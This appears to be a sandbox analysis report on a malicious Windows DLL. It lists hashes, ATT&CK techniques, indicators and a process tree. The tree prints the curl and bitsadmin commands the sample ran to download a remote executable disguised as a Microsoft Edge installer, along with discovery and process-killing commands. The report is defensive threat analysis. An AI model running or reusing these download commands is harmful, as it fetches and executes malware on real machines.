57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 19:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c.dll
Size 5.5MB
Sample260916-ycejsavdpg
SHA256 57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c
MD5 c4957ec2e472fe7213f268317a112557
SHA1 18d6ea6f266755b49c42b24bf8e51eb2cd17e30a
SHA512 a71f62c274844209552130741087a7be7d9f22be10184459e1577bd331c665753bd4a834791494a6c464b42494f34ac0b98b71e572e6b23137a3103108b02702
SSDEEP 98304:8B0yOxRR9EH1MWloPpirNplbVctcmQ7SBP0hU54OiZrq1DfPHNADtV6v+a:8BaRzospirNPbVluP0hq4O7NADtV6v+a
TLSH
T10246DF123D9C106AF45A2DF0CE59A6FDF2AF6DA03B2500971980FA0DFA77E81061B55F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery dropper execution

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	1460	rundll32.exe
12	1460	rundll32.exe
13	1460	rundll32.exe
15	1460	rundll32.exe
29	1460	rundll32.exe
31	1460	rundll32.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
3672	bitsadmin.exe

Executes dropped EXE 1 IoCs

pid	Process
4976	rundll32.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
14	api.ipify.org
28	icanhazip.com

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4408	tasklist.exe
1652	tasklist.exe
768	tasklist.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rundll32.exe	rundll32.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3252	cmd.exe
1172	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
3800	timeout.exe
2224	timeout.exe
2964	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2440	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe
1460	rundll32.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	1460	rundll32.exe
Token: SeLoadDriverPrivilege	1460	rundll32.exe
Token: SeTakeOwnershipPrivilege	1460	rundll32.exe
Token: SeIncBasePriorityPrivilege	1460	rundll32.exe
Token: SeTcbPrivilege	1460	rundll32.exe
Token: SeDebugPrivilege	2440	taskkill.exe
Token: SeDebugPrivilege	1652	tasklist.exe
Token: SeDebugPrivilege	1460	rundll32.exe
Token: SeCreateTokenPrivilege	1460	rundll32.exe
Token: SeAssignPrimaryTokenPrivilege	1460	rundll32.exe
Token: SeLockMemoryPrivilege	1460	rundll32.exe
Token: SeIncreaseQuotaPrivilege	1460	rundll32.exe
Token: SeMachineAccountPrivilege	1460	rundll32.exe
Token: SeTcbPrivilege	1460	rundll32.exe
Token: SeSecurityPrivilege	1460	rundll32.exe
Token: SeTakeOwnershipPrivilege	1460	rundll32.exe
Token: SeLoadDriverPrivilege	1460	rundll32.exe
Token: SeSystemProfilePrivilege	1460	rundll32.exe
Token: SeSystemtimePrivilege	1460	rundll32.exe
Token: SeProfSingleProcessPrivilege	1460	rundll32.exe
Token: SeIncBasePriorityPrivilege	1460	rundll32.exe
Token: SeCreatePagefilePrivilege	1460	rundll32.exe
Token: SeCreatePermanentPrivilege	1460	rundll32.exe
Token: SeBackupPrivilege	1460	rundll32.exe
Token: SeRestorePrivilege	1460	rundll32.exe
Token: SeShutdownPrivilege	1460	rundll32.exe
Token: SeDebugPrivilege	1460	rundll32.exe
Token: SeAuditPrivilege	1460	rundll32.exe
Token: SeSystemEnvironmentPrivilege	1460	rundll32.exe
Token: SeChangeNotifyPrivilege	1460	rundll32.exe
Token: SeRemoteShutdownPrivilege	1460	rundll32.exe
Token: SeUndockPrivilege	1460	rundll32.exe
Token: SeSyncAgentPrivilege	1460	rundll32.exe
Token: SeEnableDelegationPrivilege	1460	rundll32.exe
Token: SeManageVolumePrivilege	1460	rundll32.exe
Token: SeImpersonatePrivilege	1460	rundll32.exe
Token: SeCreateGlobalPrivilege	1460	rundll32.exe
Token: 31	1460	rundll32.exe
Token: 32	1460	rundll32.exe
Token: 33	1460	rundll32.exe
Token: 34	1460	rundll32.exe
Token: 35	1460	rundll32.exe
Token: SeDebugPrivilege	768	tasklist.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1460	rundll32.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1336 wrote to memory of 1460	1336	rundll32.exe	87
PID 1460 wrote to memory of 2440	1460	rundll32.exe	91
PID 1460 wrote to memory of 3252	1460	rundll32.exe	94
PID 3252 wrote to memory of 1172	3252	cmd.exe	96
PID 1172 wrote to memory of 1652	1172	cmd.exe	97
PID 1172 wrote to memory of 4776	1172	cmd.exe	98
PID 1172 wrote to memory of 2964	1172	cmd.exe	99
PID 1172 wrote to memory of 768	1172	cmd.exe	104
PID 1172 wrote to memory of 4448	1172	cmd.exe	105
PID 1172 wrote to memory of 3800	1172	cmd.exe	106
PID 1460 wrote to memory of 1016	1460	rundll32.exe	107
PID 1172 wrote to memory of 4408	1172	cmd.exe	111
PID 1172 wrote to memory of 4236	1172	cmd.exe	112
PID 1172 wrote to memory of 2224	1172	cmd.exe	113
PID 1460 wrote to memory of 3672	1460	rundll32.exe	115

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\57f03af5c4291ea24d1ce1054399d80b2baa878efcd7ca21713ce79f8aace77c.dll,#1
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1460
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2440
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start "" /B cmd /C "C:\Users\Public\\S-1-5-21-939655444-3071939294-1401108526\S-1-5-21-939655444-3071939294-1401108526.BaT"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "C:\Users\Public\\S-1-5-21-939655444-3071939294-1401108526\S-1-5-21-939655444-3071939294-1401108526.BaT"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1172
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1652
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4776
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2964
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:768
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4448
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3800
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        
        PID:4408
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4236
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2224
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe" "https://jsdcnkjnasdn.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:1016
- - C:\Windows\system32\bitsadmin.exe
    "C:\Windows\system32\bitsadmin.exe" /transfer myJob_240814093 /download /priority foreground "https://jsdcnkjnasdn.oss-ap-southeast-5.aliyuncs.com/setup.exe" "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe"
    3⤵
    - Download via BitsAdmin
    PID:3672

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

S-1-5-21-939655444-3071939294-1401108526.BaT

Path C:\Users\Public\S-1-5-21-939655444-3071939294-1401108526\S-1-5-21-939655444-3071939294-1401108526.BaT
Size 1KB
SHA256 2d9399c00594aab6cf9e3c8759000d1a4611d223226557eaf09c5ce30f182777
MD5 c42172fef809b1fc084e680ac3319cb3
SHA1 987ef8499ab6df10a8ec0503c32bf03e1600eba2
SHA512 62aba53176cf50a6f3835073bba4b650ee00a0419a27b7c2f201256880279233156d8efe17b6a3c6f9c2a0304c740320e5cbc9c6adbabb6bec1bf296bfbd1005
TLSH
T11B31104FC45B4D1C436942EF134ADC6BC640F09BED44209075AC1BC42389A6D0969FED
MD5 SHA1 SHA512 TLSH

Submit Download

rundll32.exe

Path C:\Windows\SysWOW64\rundll32.exe
Size 60KB
SHA256 6cbe0e1f046b13b29bfa26f8b368281d2dda7eb9b718651d5856f22cc3e02910
MD5 889b99c52a60dd49227c5e485a016679
SHA1 8fa889e456aa646a4d0a4349977430ce5fa5e2d7
SHA512 08933106eaf338dd119c45cbf1f83e723aff77cc0f8d3fc84e36253b1eb31557a54211d1d5d1cb58958188e32064d451f6c66a24b3963cccd3de07299ab90641
SSDEEP 1536:H9ykYCTdiHQKrFXmw2RQln5IUmDjoX6+:HlMHprF2nRQln5I
TLSH
T127532AC2FA00C171D4A7563019778F1A5766AC13DB728ACB94B0B4A41EB3291AD3E5FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1460-9-0x0000000003000000-0x000000000306C000-memory.dmp

Download

memory/1460-10-0x0000000003000000-0x000000000306C000-memory.dmp

Download

memory/1460-8-0x0000000002E10000-0x0000000002E75000-memory.dmp

Download

memory/1460-13-0x0000000003000000-0x000000000306C000-memory.dmp

Download

memory/1460-15-0x0000000003000000-0x000000000306C000-memory.dmp

Download

memory/1460-16-0x0000000003000000-0x000000000306C000-memory.dmp

Download

memory/1460-17-0x0000000003000000-0x000000000306C000-memory.dmp

Download